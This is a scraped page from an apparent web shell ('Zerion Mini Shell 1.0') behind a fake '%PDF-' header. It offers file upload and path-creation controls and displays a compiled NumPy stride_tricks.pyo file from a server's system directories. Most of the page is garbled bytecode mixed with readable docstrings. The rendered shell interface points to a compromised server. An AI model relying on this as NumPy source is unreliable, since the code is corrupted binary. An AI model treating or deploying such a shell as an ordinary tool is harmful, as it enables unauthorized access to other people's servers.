%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/
Upload File :
Create Path :
Current File : //proc/self/root/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/stride_tricks.pyo

�
�9Zc@`s�dZddlmZmZmZddlZddgZdefd��YZ	d�Z
dded	�Z
d
�Zed�Zd�Zd
�ZdS(s�
Utilities that manipulate strides to achieve desirable effects.

An explanation of strides can be found in the "ndarray.rst" file in the
NumPy reference guide.

i(tdivisiontabsolute_importtprint_functionNtbroadcast_totbroadcast_arrayst
DummyArraycB`seZdZdd�ZRS(s�Dummy object that just exists to hang __array_interface__ dictionaries
    and possibly keep alive a reference to a base array.
    cC`s||_||_dS(N(t__array_interface__tbase(tselft	interfaceR((sJ/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/stride_tricks.pyt__init__s	N(t__name__t
__module__t__doc__tNoneR
(((sJ/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/stride_tricks.pyRscC`sPt|�t|�k	rL|jdt|��}|jrL|j|�qLn|S(Nttype(Rtviewt__array_finalize__(toriginal_arrayt	new_array((sJ/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/stride_tricks.pyt_maybe_view_as_subclasss
	cC`s�tj|dtd|�}t|j�}|dk	rIt|�|d<n|dk	rht|�|d<ntjt|d|��}|j	j
dkr�|j	j
dk	r�|j	|_	nt||�S(sL Make an ndarray from the given array with the given shape and strides.
    tcopytsuboktshapetstridesRN(tnptarraytFalsetdictRRttupletasarrayRtdtypetfieldsR(txRRRR	R((sJ/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/stride_tricks.pyt
as_strided&s$c	
C`s3tj|�rt|�n|f}tj|dtd|�}|r^|jr^td��ntd�|D��r�td��n|o�|jj	}|r�dgng}|r�dnd}tj
|fd	d
ddg|d
|gd|dd�jd}t||�}|r/|jj	r/t
|j_	n|S(NRRs/cannot broadcast a non-scalar to a scalar arraycs`s|]}|dkVqdS(iN((t.0tsize((sJ/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/stride_tricks.pys	<genexpr>>ss4all elements of broadcast shape must be non-negativet	reduce_okt	readwritetreadonlytflagstmulti_indextrefs_oktzerosize_oktop_flagst	itershapetordertCi(RtiterableRRRRt
ValueErrortanyR(t	writeabletnditertitviewsRtTrue(	RRRR'tneeds_writeabletextrastop_flagt	broadcasttresult((sJ/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/stride_tricks.pyt
_broadcast_to9s $cC`st||d|dt�S(s�Broadcast an array to a new shape.

    Parameters
    ----------
    array : array_like
        The array to broadcast.
    shape : tuple
        The shape of the desired array.
    subok : bool, optional
        If True, then sub-classes will be passed-through, otherwise
        the returned array will be forced to be a base-class array (default).

    Returns
    -------
    broadcast : array
        A readonly view on the original array with the given shape. It is
        typically not contiguous. Furthermore, more than one element of a
        broadcasted array may refer to a single memory location.

    Raises
    ------
    ValueError
        If the array is not compatible with the new shape according to NumPy's
        broadcasting rules.

    Notes
    -----
    .. versionadded:: 1.10.0

    Examples
    --------
    >>> x = np.array([1, 2, 3])
    >>> np.broadcast_to(x, (3, 3))
    array([[1, 2, 3],
           [1, 2, 3],
           [1, 2, 3]])
    RR'(R<R6(RRR((sJ/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/stride_tricks.pyRMs&cG`s�|std��ntj|d �}xOtdt|�d�D]5}td|j�}tj||||d!�}qAW|jS(stReturns the shape of the ararys that would result from broadcasting the
    supplied arrays against each other.
    s"must provide at least one argumenti ii(R1RR:trangetlenRR(targstbtpos((sJ/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/stride_tricks.pyt_broadcast_shapevs!c	`s�|jdt�}|r6tdj|j����ng|D]!}tj|dtd|�^q=}t|��t�fd�|D��r�|Sg|D]!}t|�d|dt�^q�S(s�
    Broadcast any number of arrays against each other.

    Parameters
    ----------
    `*args` : array_likes
        The arrays to broadcast.

    subok : bool, optional
        If True, then sub-classes will be passed-through, otherwise
        the returned arrays will be forced to be a base-class array (default).

    Returns
    -------
    broadcasted : list of arrays
        These arrays are views on the original arrays.  They are typically
        not contiguous.  Furthermore, more than one element of a
        broadcasted array may refer to a single memory location.  If you
        need to write to the arrays, make copies first.

    Examples
    --------
    >>> x = np.array([[1,2,3]])
    >>> y = np.array([[1],[2],[3]])
    >>> np.broadcast_arrays(x, y)
    [array([[1, 2, 3],
           [1, 2, 3],
           [1, 2, 3]]), array([[1, 1, 1],
           [2, 2, 2],
           [3, 3, 3]])]

    Here is a useful idiom for getting contiguous copies instead of
    non-contiguous views.

    >>> [np.array(a) for a in np.broadcast_arrays(x, y)]
    [array([[1, 2, 3],
           [1, 2, 3],
           [1, 2, 3]]), array([[1, 1, 1],
           [2, 2, 2],
           [3, 3, 3]])]

    Rs8broadcast_arrays() got an unexpected keyword argument {}Rc3`s|]}|j�kVqdS(N(R(R#R(R(sJ/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/stride_tricks.pys	<genexpr>�sR'(	tpopRt	TypeErrortformatRRRBtallR<(R?tkwargsRt_mR((RsJ/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/stride_tricks.pyR�s0	.(R
t
__future__RRRtnumpyRt__all__tobjectRRRRR"R<RRBR(((sJ/opt/alt/python27/lib64/python2.7/site-packages/numpy/lib/stride_tricks.pyt<module>s
	
	)	

Zerion Mini Shell 1.0